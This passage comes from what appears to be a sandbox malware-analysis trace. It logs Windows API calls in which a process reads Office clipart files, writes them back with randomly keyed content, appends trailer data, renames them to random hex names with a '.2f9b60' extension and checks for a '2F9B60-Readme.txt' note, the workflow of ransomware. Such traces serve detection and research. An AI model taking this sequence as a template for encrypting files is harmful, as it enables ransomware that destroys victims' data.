lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xef0 [0096.499] GetFileSizeEx (in: hFile=0xef0, lpFileSize=0x29b7fe40 | out: lpFileSize=0x29b7fe40*=3251) returned 1 [0096.499] SetFilePointerEx (in: hFile=0xef0, liDistanceToMove=0xcaf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.499] ReadFile (in: hFile=0xef0, lpBuffer=0x29b7fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29b7fe08, lpOverlapped=0x0 | out: lpBuffer=0x29b7fdc0*, lpNumberOfBytesRead=0x29b7fe08*=0x4, lpOverlapped=0x0) returned 1 [0097.432] SetFilePointerEx (in: hFile=0xef0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8470 [0097.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a84a0 [0097.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a84d0 [0097.432] NtQuerySystemTime (in: CurrentTime=0x29b7fd00 | out: CurrentTime=0x29b7fd00*=132462177032638000) returned 0x0 [0097.432] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x587a7b82 [0097.432] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x5fd13a6b [0097.432] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x537c7d67 [0097.432] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x5fd8d46 [0097.432] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x142c10d7 [0097.432] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x55beb2fb [0097.433] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x42b99771 [0097.433] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x2984d166 [0097.433] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x486d2df2 [0097.433] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x59b1febc [0097.433] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x86fa0bb [0097.433] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x4c0e1f91 [0097.433] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x1c1c9495 [0097.433] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x7edeece5 [0097.433] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x4349e430 [0097.433] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x1fa242b1 [0097.433] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x67fbd5b9 [0097.433] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x1c1c9495 [0097.433] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x58b3ef37 [0097.433] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x13add073 [0097.433] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x5947af29 [0097.433] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x1b4411e9 [0097.433] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x43592dd9 [0097.433] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x3e7c37e1 [0097.433] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x6b70b2e1 [0097.433] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x11336787 [0097.433] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x298ebb2b [0097.433] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x367ae94e [0097.433] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x2b2c15e6 [0097.433] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x6c8e8626 [0097.433] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x10f78d04 [0097.433] RtlRandomEx (in: Seed=0x29b7fcf0 | out: Seed=0x29b7fcf0) returned 0x14535798 [0097.443] ReadFile (in: hFile=0xef0, lpBuffer=0x1cee9640, nNumberOfBytesToRead=0xcb3, lpNumberOfBytesRead=0x29b7fcf0, lpOverlapped=0x0 | out: lpBuffer=0x1cee9640*, lpNumberOfBytesRead=0x29b7fcf0*=0xcb3, lpOverlapped=0x0) returned 1 [0097.443] SetFilePointerEx (in: hFile=0xef0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.443] WriteFile (in: hFile=0xef0, lpBuffer=0x201d3cc0*, nNumberOfBytesToWrite=0xcb3, lpNumberOfBytesWritten=0x29b7fcf4, lpOverlapped=0x0 | out: lpBuffer=0x201d3cc0*, lpNumberOfBytesWritten=0x29b7fcf4*=0xcb3, lpOverlapped=0x0) returned 1 [0100.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262e10 [0100.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262360 [0100.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262360) returned 1 [0100.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201d3cc0) returned 1 [0100.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cee9640) returned 1 [0100.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d570) returned 1 [0100.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c530) returned 1 [0100.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20262360 [0100.961] SetFilePointerEx (in: hFile=0xef0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.961] WriteFile (in: hFile=0xef0, lpBuffer=0x4205c0b0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x29b7fe10, lpOverlapped=0x0 | out: lpBuffer=0x4205c0b0*, lpNumberOfBytesWritten=0x29b7fe10*=0x10a, lpOverlapped=0x0) returned 1 [0101.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd973a0 [0101.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8699c0 [0101.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d30 [0101.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859d30) returned 1 [0101.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0101.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d30 [0101.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0101.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e50) returned 1 [0101.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8699c0) returned 1 [0101.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973a0) returned 1 [0101.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f3f0 [0101.893] sprintf (in: _Dest=0x1cd9f3f0, _Format="%c%c" | out: _Dest="90") returned 2 [0101.893] sprintf (in: _Dest=0x1cd9f3f2, _Format="%c%c" | out: _Dest="8f") returned 2 [0101.893] sprintf (in: _Dest=0x1cd9f3f4, _Format="%c%c" | out: _Dest="4b") returned 2 [0101.893] sprintf (in: _Dest=0x1cd9f3f6, _Format="%c%c" | out: _Dest="e7") returned 2 [0101.893] sprintf (in: _Dest=0x1cd9f3f8, _Format="%c%c" | out: _Dest="0f") returned 2 [0101.893] sprintf (in: _Dest=0x1cd9f3fa, _Format="%c%c" | out: _Dest="d2") returned 2 [0101.893] sprintf (in: _Dest=0x1cd9f3fc, _Format="%c%c" | out: _Dest="d7") returned 2 [0101.893] sprintf (in: _Dest=0x1cd9f3fe, _Format="%c%c" | out: _Dest="4d") returned 2 [0101.893] sprintf (in: _Dest=0x1cd9f400, _Format="%c%c" | out: _Dest="39") returned 2 [0101.893] sprintf (in: _Dest=0x1cd9f402, _Format="%c%c" | out: _Dest="9f") returned 2 [0101.893] sprintf (in: _Dest=0x1cd9f404, _Format="%c%c" | out: _Dest="4c") returned 2 [0101.893] sprintf (in: _Dest=0x1cd9f406, _Format="%c%c" | out: _Dest="a9") returned 2 [0101.894] sprintf (in: _Dest=0x1cd9f408, _Format="%c%c" | out: _Dest="44") returned 2 [0101.894] sprintf (in: _Dest=0x1cd9f40a, _Format="%c%c" | out: _Dest="8b") returned 2 [0101.894] sprintf (in: _Dest=0x1cd9f40c, _Format="%c%c" | out: _Dest="81") returned 2 [0101.894] sprintf (in: _Dest=0x1cd9f40e, _Format="%c%c" | out: _Dest="3b") returned 2 [0101.894] sprintf (in: _Dest=0x1cd9f410, _Format="%c%c" | out: _Dest="9b") returned 2 [0101.894] sprintf (in: _Dest=0x1cd9f412, _Format="%c%c" | out: _Dest="ff") returned 2 [0101.894] sprintf (in: _Dest=0x1cd9f414, _Format="%c%c" | out: _Dest="11") returned 2 [0101.894] sprintf (in: _Dest=0x1cd9f416, _Format="%c%c" | out: _Dest="6e") returned 2 [0101.894] sprintf (in: _Dest=0x1cd9f418, _Format="%c%c" | out: _Dest="69") returned 2 [0101.894] sprintf (in: _Dest=0x1cd9f41a, _Format="%c%c" | out: _Dest="3b") returned 2 [0101.894] sprintf (in: _Dest=0x1cd9f41c, _Format="%c%c" | out: _Dest="a9") returned 2 [0101.894] sprintf (in: _Dest=0x1cd9f41e, _Format="%c%c" | out: _Dest="0d") returned 2 [0101.894] RtlInitAnsiString (in: DestinationString=0x29b7fe88, SourceString="908f4be70fd2d74d399f4ca9448b813b9bff116e693ba90d" | out: DestinationString="908f4be70fd2d74d399f4ca9448b813b9bff116e693ba90d") [0101.894] RtlAnsiStringToUnicodeString (in: DestinationString=0x29b7fe58, SourceString="908f4be70fd2d74d399f4ca9448b813b9bff116e693ba90d", AllocateDestinationString=1 | out: DestinationString="908f4be70fd2d74d399f4ca9448b813b9bff116e693ba90d") returned 0x0 [0101.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced91d0 [0101.894] wcscat (in: _Dest=0x202b0d30, _Source="908f4be70fd2" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\908f4be70fd2") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\908f4be70fd2" [0101.895] wcscat (in: _Dest=0x202b0d30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\908f4be70fd2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\908f4be70fd2.2f9b60" [0101.895] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\908f4be70fd2.2f9b60", NtPathName=0x29b7fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\908f4be70fd2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0101.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x202786b0 [0109.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202786b0) returned 1 [0109.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ea40) returned 1 [0109.468] NtQueryInformationFile (in: FileHandle=0xef0, IoStatusBlock=0x29b7fe98, FileInformation=0x29b7fea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x29b7fe98, FileInformation=0x29b7fea8) returned 0x0 [0109.468] NtSetInformationFile (FileHandle=0xef0, IoStatusBlock=0x29b7fe98, FileInformation=0x29b7fea8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0d30) returned 1 [0109.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced91d0) returned 1 [0109.475] FlushFileBuffers (hFile=0xef0) returned 1 [0109.485] CloseHandle (hObject=0xef0) returned 1 [0109.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205cb50 [0109.486] wcscpy (in: _Dest=0x4205cb50, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.487] wcscat (in: _Dest=0x4205cb50, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cb50) returned 1 [0109.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b5b0) returned 1 Thread: id = 640 os_tid = 0x10e4 [0095.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 0x20 [0096.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF", dwFileAttributes=0x20) returned 1 [0096.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xeec [0096.475] GetFileSizeEx (in: hFile=0xeec, lpFileSize=0x23f2fcc0 | out: lpFileSize=0x23f2fcc0*=8097) returned 1 [0096.475] SetFilePointerEx (in: hFile=0xeec, liDistanceToMove=0x1f9d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.475] ReadFile (in: hFile=0xeec, lpBuffer=0x23f2fc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23f2fc88, lpOverlapped=0x0 | out: lpBuffer=0x23f2fc40*, lpNumberOfBytesRead=0x23f2fc88*=0x4, lpOverlapped=0x0) returned 1 [0096.981] SetFilePointerEx (in: hFile=0xeec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8010 [0096.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8430 [0096.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8580 [0096.981] NtQuerySystemTime (in: CurrentTime=0x23f2fb80 | out: CurrentTime=0x23f2fb80*=132462177028114000) returned 0x0 [0096.981] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0x189334ac [0096.981] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0x9064e3e [0096.981] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0x5947af29 [0096.981] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0x6da42697 [0096.981] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0x1cd44346 [0096.981] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0xc4ec236 [0096.981] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0x5163eece [0096.981] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0x4abe539a [0096.981] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0x17876ae7 [0096.981] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0x14e6d0a3 [0096.981] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0x17447327 [0096.981] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0x8564357 [0096.981] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0x38f5aed5 [0096.982] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0x78976a11 [0096.982] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0x144cdef5 [0096.982] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0x26be1775 [0096.982] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0x433c76e7 [0096.982] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0x21a91842 [0096.982] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0x7eb9b4c1 [0096.982] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0x3232d587 [0096.982] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0x397ae08f [0096.982] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0x58f91953 [0096.982] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0x6abeeb7c [0096.982] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0x58f91953 [0096.982] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0x7899e0e2 [0096.982] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0x7753bed7 [0096.982] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0x6852c4b5 [0096.982] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0x2d1f3205 [0096.982] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0x16839d92 [0096.982] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0x227657f6 [0096.982] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0x4349e430 [0096.982] RtlRandomEx (in: Seed=0x23f2fb70 | out: Seed=0x23f2fb70) returned 0x5a1207a3 [0096.991] ReadFile (in: hFile=0xeec, lpBuffer=0x20175950, nNumberOfBytesToRead=0x1fa1, lpNumberOfBytesRead=0x23f2fb70, lpOverlapped=0x0 | out: lpBuffer=0x20175950*, lpNumberOfBytesRead=0x23f2fb70*=0x1fa1, lpOverlapped=0x0) returned 1 [0097.075] SetFilePointerEx (in: hFile=0xeec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.075] WriteFile (in: hFile=0xeec, lpBuffer=0x201885a0*, nNumberOfBytesToWrite=0x1fa1, lpNumberOfBytesWritten=0x23f2fb74, lpOverlapped=0x0 | out: lpBuffer=0x201885a0*, lpNumberOfBytesWritten=0x23f2fb74*=0x1fa1, lpOverlapped=0x0) returned 1 [0100.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0100.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202637d0 [0100.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202637d0) returned 1 [0100.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201885a0) returned 1 [0100.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20175950) returned 1 [0100.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866cc0) returned 1 [0100.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c6c0) returned 1 [0100.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202637d0 [0100.424] SetFilePointerEx (in: hFile=0xeec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.424] WriteFile (in: hFile=0xeec, lpBuffer=0x167a60*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x23f2fc90, lpOverlapped=0x0 | out: lpBuffer=0x167a60*, lpNumberOfBytesWritten=0x23f2fc90*=0x10a, lpOverlapped=0x0) returned 1 [0105.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0105.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d710 [0105.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260800 [0105.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260800) returned 1 [0105.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0105.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260800 [0105.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202607d0 [0105.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202607d0) returned 1 [0105.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d710) returned 1 [0105.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0105.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f2b0 [0105.031] sprintf (in: _Dest=0x1cd9f2b0, _Format="%c%c" | out: _Dest="ae") returned 2 [0105.031] sprintf (in: _Dest=0x1cd9f2b2, _Format="%c%c" | out: _Dest="9e") returned 2 [0105.031] sprintf (in: _Dest=0x1cd9f2b4, _Format="%c%c" | out: _Dest="28") returned 2 [0105.031] sprintf (in: _Dest=0x1cd9f2b6, _Format="%c%c" | out: _Dest="cc") returned 2 [0105.031] sprintf (in: _Dest=0x1cd9f2b8, _Format="%c%c" | out: _Dest="55") returned 2 [0105.031] sprintf (in: _Dest=0x1cd9f2ba, _Format="%c%c" | out: _Dest="0f") returned 2 [0105.031] sprintf (in: _Dest=0x1cd9f2bc, _Format="%c%c" | out: _Dest="f6") returned 2 [0105.031] sprintf (in: _Dest=0x1cd9f2be, _Format="%c%c" | out: _Dest="2a") returned 2 [0105.031] sprintf (in: _Dest=0x1cd9f2c0, _Format="%c%c" | out: _Dest="7c") returned 2 [0105.031] sprintf (in: _Dest=0x1cd9f2c2, _Format="%c%c" | out: _Dest="5e") returned 2 [0105.032] sprintf (in: _Dest=0x1cd9f2c4, _Format="%c%c" | out: _Dest="16") returned 2 [0105.032] sprintf (in: _Dest=0x1cd9f2c6, _Format="%c%c" | out: _Dest="28") returned 2 [0105.032] sprintf (in: _Dest=0x1cd9f2c8, _Format="%c%c" | out: _Dest="29") returned 2 [0105.032] sprintf (in: _Dest=0x1cd9f2ca, _Format="%c%c" | out: _Dest="90") returned 2 [0105.032] sprintf (in: _Dest=0x1cd9f2cc, _Format="%c%c" | out: _Dest="26") returned 2 [0105.032] sprintf (in: _Dest=0x1cd9f2ce, _Format="%c%c" | out: _Dest="17") returned 2 [0105.032] sprintf (in: _Dest=0x1cd9f2d0, _Format="%c%c" | out: _Dest="39") returned 2 [0105.032] sprintf (in: _Dest=0x1cd9f2d2, _Format="%c%c" | out: _Dest="99") returned 2 [0105.032] sprintf (in: _Dest=0x1cd9f2d4, _Format="%c%c" | out: _Dest="c2") returned 2 [0105.032] sprintf (in: _Dest=0x1cd9f2d6, _Format="%c%c" | out: _Dest="26") returned 2 [0105.032] sprintf (in: _Dest=0x1cd9f2d8, _Format="%c%c" | out: _Dest="ec") returned 2 [0105.032] sprintf (in: _Dest=0x1cd9f2da, _Format="%c%c" | out: _Dest="b2") returned 2 [0105.032] sprintf (in: _Dest=0x1cd9f2dc, _Format="%c%c" | out: _Dest="9b") returned 2 [0105.032] sprintf (in: _Dest=0x1cd9f2de, _Format="%c%c" | out: _Dest="df") returned 2 [0105.032] RtlInitAnsiString (in: DestinationString=0x23f2fd08, SourceString="ae9e28cc550ff62a7c5e1628299026173999c226ecb29bdf" | out: DestinationString="ae9e28cc550ff62a7c5e1628299026173999c226ecb29bdf") [0105.032] RtlAnsiStringToUnicodeString (in: DestinationString=0x23f2fcd8, SourceString="ae9e28cc550ff62a7c5e1628299026173999c226ecb29bdf", AllocateDestinationString=1 | out: DestinationString="ae9e28cc550ff62a7c5e1628299026173999c226ecb29bdf") returned 0x0 [0105.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9320 [0105.032] wcscat (in: _Dest=0x4205c830, _Source="ae9e28cc550f" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ae9e28cc550f") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ae9e28cc550f" [0105.032] wcscat (in: _Dest=0x4205c830, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ae9e28cc550f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ae9e28cc550f.2f9b60" [0105.032] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ae9e28cc550f.2f9b60", NtPathName=0x23f2fcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ae9e28cc550f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20278cb0 [0109.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278cb0) returned 1 [0109.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cece5e0) returned 1 [0109.482] NtQueryInformationFile (in: FileHandle=0xeec, IoStatusBlock=0x23f2fd18, FileInformation=0x23f2fd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x23f2fd18, FileInformation=0x23f2fd28) returned 0x0 [0109.482] NtSetInformationFile (FileHandle=0xeec, IoStatusBlock=0x23f2fd18, FileInformation=0x23f2fd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c830) returned 1 [0109.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9320) returned 1 [0109.493] FlushFileBuffers (hFile=0xeec) returned 1 [0109.495] CloseHandle (hObject=0xeec) returned 1 [0109.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205ce70 [0109.504] wcscpy (in: _Dest=0x4205ce70, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.504] wcscat (in: 